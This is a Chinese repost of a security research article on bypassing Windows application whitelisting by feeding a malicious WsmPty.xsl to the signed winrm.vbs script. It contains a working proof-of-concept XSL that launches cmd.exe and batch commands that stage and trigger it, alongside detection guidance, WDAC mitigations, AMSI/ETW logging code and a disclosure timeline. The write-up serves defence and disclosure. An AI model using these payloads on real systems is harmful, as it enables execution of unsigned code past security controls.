利用Winrm.vbs绕过白名单限制执行任意代码

栏目: C · 发布时间: 6年前

内容简介:winrm.vbs(一个位于system32目录下的具有Windows签名的脚本文件)可以被用来调用用户定义的XSL文件,从而导致任意的、没有签名的代码执行。当用户向winrm.vbs提供’-format:pretty’或者’-format:text’参数时,winrm.vbs将从cscript.exe所在目录读取WsmPty.xsl或Wsmtxt.xsl文件。这意味着若将cscript.exe拷贝到攻击者可以控制的目录下,并将恶意的XSL文件也置于相同路径中,攻击者将可以绕过签名保护而执行任意代码。这个

绕过方法描述

winrm.vbs(一个位于system32目录下的具有Windows签名的脚本文件)可以被用来调用用户定义的XSL文件,从而导致任意的、没有签名的代码执行。当用户向winrm.vbs提供’-format:pretty’或者’-format:text’参数时,winrm.vbs将从cscript.exe所在目录读取WsmPty.xsl或Wsmtxt.xsl文件。这意味着若将cscript.exe拷贝到攻击者可以控制的目录下,并将恶意的XSL文件也置于相同路径中,攻击者将可以绕过签名保护而执行任意代码。这个攻击手段和Casey Smith的wmic.exe技术很相像。

绕过方法的POC

整个工作流程如下所示:

1.在攻击者可以控制的目录中放置恶意的WsmPty.xsl或者WsmTxt.xsl文件。

2.拷贝cscript.exe或者wscript.exe到相同的目录中。

3.根据第一步中的恶意XSL文件(WsmPty.xsl或者WsmTxt.xsl),执行winrm.vbs并提供不同的参数(‘-format:pretty’或者’-format:text’)。下面是一个恶意XSL文件的例子。该文件可以被放置到上述第一步中的路径中(对于这个例子来说,是C:\BypassDir\WsmPty.xsl):

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
 <ms:script implements-prefix="user" language="JScript">
 <![CDATA[
 var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
 ]]> </ms:script>
</stylesheet>

一个更加有攻击意义的XSL文件可以执行通过 DotNetToJScript 生成的Payload,导致攻击者可以利用该手法执行任意不具有签名的代码。在放置了恶意XSL文件后,以下的批处理文件可以被用来启动paylaod:

mkdir %SystemDrive%\BypassDir
copy %windir%\System32\cscript.exe %SystemDrive%\BypassDir
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

我是如何发现该问题的

我发现这个问题完全是出于偶然。我曾和Casey一起研究利用wmic.exe的XSL绕过方法,不久之后,我又开始检查系统自带的各种VBS和JScript文件,寻找更多的绕过方法。我之所以开始检查这些自带的脚本是因为Matt Nelson的.vbs注入技术给了我启发。当我在查阅winrm.vbs源码的时候,文件中的’WsmPty’以及’WsmTxt’马上引起了我的注意,因为Casey曾经在他的博客中说过,对于使用了XSL的文件,它们可以通过在XSL文件中嵌入WSH脚本内容而拥有执行任意代码的潜力。毫无疑问,winrm.vbs也不例外。我非常注重于寻找这些具备Windows签名的,并可以导致任意代码执行的脚本或者二进制文件。这是因为它们不仅可以绕过应用白名单的防御,同时它们也不容易被安全软件检查出来(至少当它们还没有被公布的时候)。我会一直都在寻找它们的路上!

检测策略

若要对上述的方法做出有效的检测和防护,寻找这类攻击手段所需要的最小组件集合是很重要的。

攻击者控制的WsmPty.xsl或者WsmTxt.xsl文件一定会被创建

winrm.vbs硬编码了这两个文件的名字,并明确将这两个文件同’pretty’或者’text’参数绑定到了一起。目前来看,这两个文件只可能当前工作目录中被获取(多数情况下就是cscript.exe所在的目录),而不太可能被重定向到其他位置。从防守的角度上来说,若一个WsmPty.xsl或WsmTxt.xsl文件与它们在System32目录下的版本具有不同哈希值,则我们可以认为这个XSL文件是可疑的。幸运的是,合法的XSL文件很少会有变化。

一个具有有效签名的winrm.vbs会被执行。若要利用本文的绕过方法,攻击者不能修改winrm.vbs的内容

通过在命令行中寻找’winrm.vbs’字符串这种防御手段是不足的,因为攻击者可以任意修改winrm.vbs的文件名。

调用winrm.vbs时的’format’参数必须指定为’pretty’或’text’,这样winrm.vbs才会调用对应xsl文件

攻击者不仅仅可以采用’format’参数,下面的变种形式也是可以的(大小写敏感):

-format:pretty
-format:”pretty”
/format:pretty
/format:”pretty”
-format:text
-format:”text”
/format:text
/format:”text”

若仅仅查找’format’字符串可以检测到上述的所有变体,这种方法带来的误报会很多。’format:’后面所接内容的合法与否将取决于具体的公司环境。不过,对xsl文件的合法引用更多的来源于system32目录下的csript.exe和winrm.vbs文件,而不会来源于其他位置。

winrm.vbs应该是被cscript.exe执行的。winrm.vbs内部的逻辑验证了这一点。

winrm.vbs通过验证WScript.FullName是否包含了字符串’cscript.exe’这一点来验证其自身是被cscript.exe执行的。这个验证本身是不够完善的,因为它仅仅检查可执行文件的路径中是否包含’cscript.exe’字符串。这将导致攻击者可以从一个被重命名过的cscript.exe启动winrm.vbs,甚至可以用其他的脚本解释器(例如wscript.exe)来启动winrm.vbs。下面的批处理程序的例子解释了如何绕过winrm.vbs脚本中对’cscript.exe’的验证:

mkdir %SystemDrive%\BypassDir\cscript.exe
copy %windir%\System32\wscript.exe %SystemDrive%\BypassDir\cscript.exe\winword.exe
%SystemDrive%\BypassDir\cscript.exe\winword.exe //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

检测方法的健壮性

POC例子中的get wmicimv2/Win32_Process?Handle=4仅仅是为了说明实际的命令行参数将返回一些有意义的东西。这并不意味着这个方法需要WinRM服务被启用。有很多的选项都可以支持’format’参数。

足够健壮的检测手段不应该从命令行中检测’cscript.exe’或者’wscript.exe’作为判断依据。尽管如果攻击者没有刻意规避检测,这种检测方法可以检测到上文所述的攻击手段,但是攻击者若是将script.exe拷贝并重命名,检测手段就对此无能为力了。一个更加健壮的检测方法应该考虑检测二进制文件的签名以及它的’原始文件名’。’原始文件名’这一属性被嵌入到了二进制文件之中,并被签名所保护,而如果攻击者想要修改这一属性,二进制文件的签名将会失效。

缓解和阻止措施

本文提到的绕过方法可以通过启用Windows Defender Application Control(WDAC)的User Mode Code Integrity(UMCI)选项来阻止。由于目前并没有其他有效的方法阻止这些具有Windows签名的脚本文件运行,具有威胁的脚本文件将通过其哈希值被禁用。不过获取各个版本的脚本文件的哈希值会是很困难的,考虑到Windows如此庞大的版本数量。 这篇博客 详细说明了为什么通过哈希值禁用文件是不高效的。至于缓解措施,微软可以修改这个脚本文件的内容并重新进行签名。如果这样做的话,这将导致之前版本的脚本文件的签名失效。所以如果我们通过WDAC启用了脚本执行的签名保护,这些脚本的执行将失败。然而,这样的场景只能阻止一个非管理员账户进行攻击,因为攻击者可以通过管理员权限安装微软之前版本的catalog签名,从而恢复脚本文件的签名信息。上述的阻止和缓解措施都依赖于WDAC的开启。考虑到目前有大量企业并没有开启WDAC,就算winrm.vbs被微软修复,也没有什么措施可以阻止攻击将旧版本的winrm.vbs文件放在系统中并加以利用。因此,就算微软修复了winrm.vbs的问题,目前也没有真正足够健壮的方法可以防护此问题。

WSH/XSL脚本检测

这不是第一次WSH/XSL被攻击者滥用,也不会是最后一次。攻击者应该需要了解它们的payload到底是从磁盘中的文件被执行或者是完全在内存中被执行。通过 ScriptLogging 技术,Powershell完全具有这种能力。然而对于WSH来说,它们却不具备类似的能力。然而,只要你对于ETW熟悉,利用 Antimalware Scan Interface (AMSI)捕获WSH的内容是完全可能的。AMSI通过 Microsoft-Antimalware-Scan-Interface ETW Provider被暴露出来。如果你想尝试获取ASMI事件, KrabsETW 是你可以采用的最好的库之一。不过,若仅仅出于实验目的,你可以通过logman.exe获取ETL记录。下面的例子可以开始和暂停ETL的记录,并将ASMI相关的事件记录到ASMITrace.etl:

logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets
<After starting the trace, this is when you'd run your malicious code to capture its context.>
logman stop AMSITrace -ets

尽管本文章将不会讨论ETW技术,你可能还是想知道我是怎么知道’Microsoft-Antimalware-Scan-Interface’这一EWT Provider,并且上文中的’Event1′又是从何而来。我是通过 logman query providers 这一命令查找已注册providers的名称的。’Event1′这一关键字对应着捕获ASMI信息。为了找到这个关键字,我通过 perfview.exe 将ETW清单文件导出到XML。这个清单文件可以让你很清楚地了解到通过这一provider到底可以查询到哪些事件。

<instrumentationManifest xmlns="http://schemas.microsoft.com/win/2004/08/events">
 <instrumentation xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events">
  <events>
   <provider name="Microsoft-Antimalware-Scan-Interface" guid="{2a576b87-09a7-520e-c21a-4942f0271d67}" resourceFileName="Microsoft-Antimalware-Scan-Interface" messageFileName="Microsoft-Antimalware-Scan-Interface" symbol="MicrosoftAntimalwareScanInterface" source="Xml" >
    <keywords>
     <keyword name="Event1" message="$(string.keyword_Event1)" mask="0x1"/>
    </keywords>
    <tasks>
     <task name="task_0" message="$(string.task_task_0)" value="0"/>
    </tasks>
    <events>
     <event value="1101" symbol="task_0" version="0" task="task_0" level="win:Informational" keywords="Event1" template="task_0Args"/>
    </events>
    <templates>
     <template tid="task_0Args">
      <data name="session" inType="win:Pointer"/>
      <data name="scanStatus" inType="win:UInt8"/>
      <data name="scanResult" inType="win:UInt32"/>
      <data name="appname" inType="win:UnicodeString"/>
      <data name="contentname" inType="win:UnicodeString"/>
      <data name="contentsize" inType="win:UInt32"/>
      <data name="originalsize" inType="win:UInt32"/>
      <data name="content" inType="win:Binary" length="contentsize"/>
      <data name="hash" inType="win:Binary"/>
      <data name="contentFiltered" inType="win:Boolean"/>
     </template>
    </templates>
   </provider>
  </events>
 </instrumentation>
 <localization>
  <resources culture="en-US">
   <stringTable>
    <string id="keyword_Event1" value="Event1"/>
    <string id="task_task_0" value="task_0"/>
   </stringTable>
  </resources>
 </localization>
</instrumentationManifest>

在捕获到ETL记录后,你就可以自己任意选择 工具 来进行分析。Get-WinEvent这一powershell命令就可以很好的解析ETL记录。我写了一个简单的脚本来解析ASMI事件。需要注意的是,WSH无法提供’contentname’这一属性,导致我们不得不手动解析这一事件信息。这个脚本也会捕获到powershell的内容。

# Script author: Matt Graeber (@mattifestation)
# logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets
# Do your malicious things here that would be logged by AMSI
# logman stop AMSITrace -ets

$OSArchProperty = Get-CimInstance -ClassName Win32_OperatingSystem -Property OSArchitecture
$OSArch = $OSArchProperty.OSArchitecture

$OSPointerSize = 32
if ($OSArch -eq '64-bit') { $OSPointerSize = 64 }

$AMSIScanEvents = Get-WinEvent -Path .\AMSITrace.etl -Oldest -FilterXPath '*[System[EventID=1101]]' | ForEach-Object {
    if (-not $_.Properties) {
        # The AMSI provider is not supplying the contentname property when WSH content is logged resulting
        # in Get-WinEvent or Event Viewer being unable to parse the data based on the schema.
        # If this bug were not present, retrieving WSH content would be trivial.

        $PayloadString = ([Xml] $_.ToXml()).Event.ProcessingErrorData.EventPayload
        [Byte[]] $PayloadBytes = ($PayloadString -split '([0-9A-F]{2})' | Where-Object {$_} | ForEach-Object {[Byte] "0x$_"})

        $MemoryStream = New-Object -TypeName IO.MemoryStream -ArgumentList @(,$PayloadBytes)
        $BinaryReader = New-Object -TypeName IO.BinaryReader -ArgumentList $MemoryStream, ([Text.Encoding]::Unicode)

        switch ($OSPointerSize) {
            32 { $Session = $BinaryReader.ReadUInt32() }
            64 { $Session = $BinaryReader.ReadUInt64() }
        }

        $ScanStatus = $BinaryReader.ReadByte()
        $ScanResult = $BinaryReader.ReadInt32()

        $StringBuilder = New-Object -TypeName Text.StringBuilder
        do { $CharVal = $BinaryReader.ReadInt16(); $null = $StringBuilder.Append([Char] $CharVal) } while ($CharVal -ne 0)
        $AppName = $StringBuilder.ToString()
        $null = $StringBuilder.Clear()

        $ContentSize = $BinaryReader.ReadInt32()
        $OriginalSize = $BinaryReader.ReadInt32()
        $ContentRaw = $BinaryReader.ReadBytes($ContentSize)
        $Content = [Text.Encoding]::Unicode.GetString($ContentRaw)
        $Hash = [BitConverter]::ToString($BinaryReader.ReadBytes(0x20)).Replace('-', '')
        [Bool] $ContentFiltered = $BinaryReader.ReadInt32()

        $BinaryReader.Close()

        [PSCustomObject] @{
            Session = $Session
            ScanStatus = $ScanStatus
            ScanResult = $ScanResult
            AppName = $AppName
            ContentName = $null
            Content = $Content
            Hash = $Hash
            ContentFiltered = $ContentFiltered
        }
    } else {
        $Session = $_.Properties[0].Value
        $ScanStatus = $_.Properties[1].Value
        $ScanResult = $_.Properties[2].Value
        $AppName = $_.Properties[3].Value
        $ContentName = $_.Properties[4].Value
        $Content = [Text.Encoding]::Unicode.GetString($_.Properties[7].Value)
        $Hash = [BitConverter]::ToString($_.Properties[8].Value).Replace('-', '')
        $ContentFiltered = $_.Properties[9].Value

        [PSCustomObject] @{
            Session = $Session
            ScanStatus = $ScanStatus
            ScanResult = $ScanResult
            AppName = $AppName
            ContentName = $ContentName
            Content = $Content
            Hash = $Hash
            ContentFiltered = $ContentFiltered
        }
    }
}

$AMSIScanEvents

在成功捕获之后,你就可以看到这次执行payload的内容了。pic here利用ETW进行相关检测并不是这篇文章的主题,不过希望这篇文章能够让你产生足够的兴趣,让你之后进行深入研究。

披露时间线

为了避免我们披露此问题后,攻击者利用该漏洞造成不良影响,我们一般会先向厂商报告漏洞并提供足够多的时间让它们修复问题。由于本文的漏洞涉及到Windows Defender Application Control,我们将这个问题提供给了Windows。整个时间线如下所示。

April 24, 2018 — 向MSRC报告此问题
April 24, 2018 — MSRC知晓了问题并提供了一个事件编号
April 30, 2018 — 收到邮件,告诉我们该问题已被复现
May 24, 2018 — 向MSRC发送邮件,要求更新
May 28, 2018 — 回复称评估过程仍在继续
June 10, 2018 — 向MSRC发送邮件,要求更新
June 11, 2018 — MSRC回复称计划在8月更新中修复问题
July 12, 2018 — MSRC回复称该问题不能通过安全更新方式解决,可能会在下一个版本更新中修复此问题。

原文地址: https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404

*本文作者:无。,转载请注明来自FreeBuf.COM


以上所述就是小编给大家介绍的《利用Winrm.vbs绕过白名单限制执行任意代码》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

个体与交互

个体与交互

Ken Howard、Barry Rogers / 贾永娜、张凯峰 / 机械工业出版社华章公司 / 2012-3-20 / 45.00元

对敏捷软件开发的关注重点,通常都集中在“机制”方面,即过程和工具。“敏捷宣言”认为,个体与交互的价值要高于过程和工具,但这一点很容易被遗忘。在敏捷开发中,如果你重新将注意力放在人的方面,将会收获巨大利益。 本书展示了如何解决敏捷团队在实际项目中遭遇的问题。同时,本书也是很有实用价值的敏捷用户指南,其中包含的故事、最佳实践方法、经验以及技巧均可应用到实际项目当中。通过逐步实践,你将学会如何让团......一起来看看 《个体与交互》 这本书的介绍吧!

URL 编码/解码
URL 编码/解码

URL 编码/解码

SHA 加密
SHA 加密

SHA 加密工具

html转js在线工具
html转js在线工具

html转js在线工具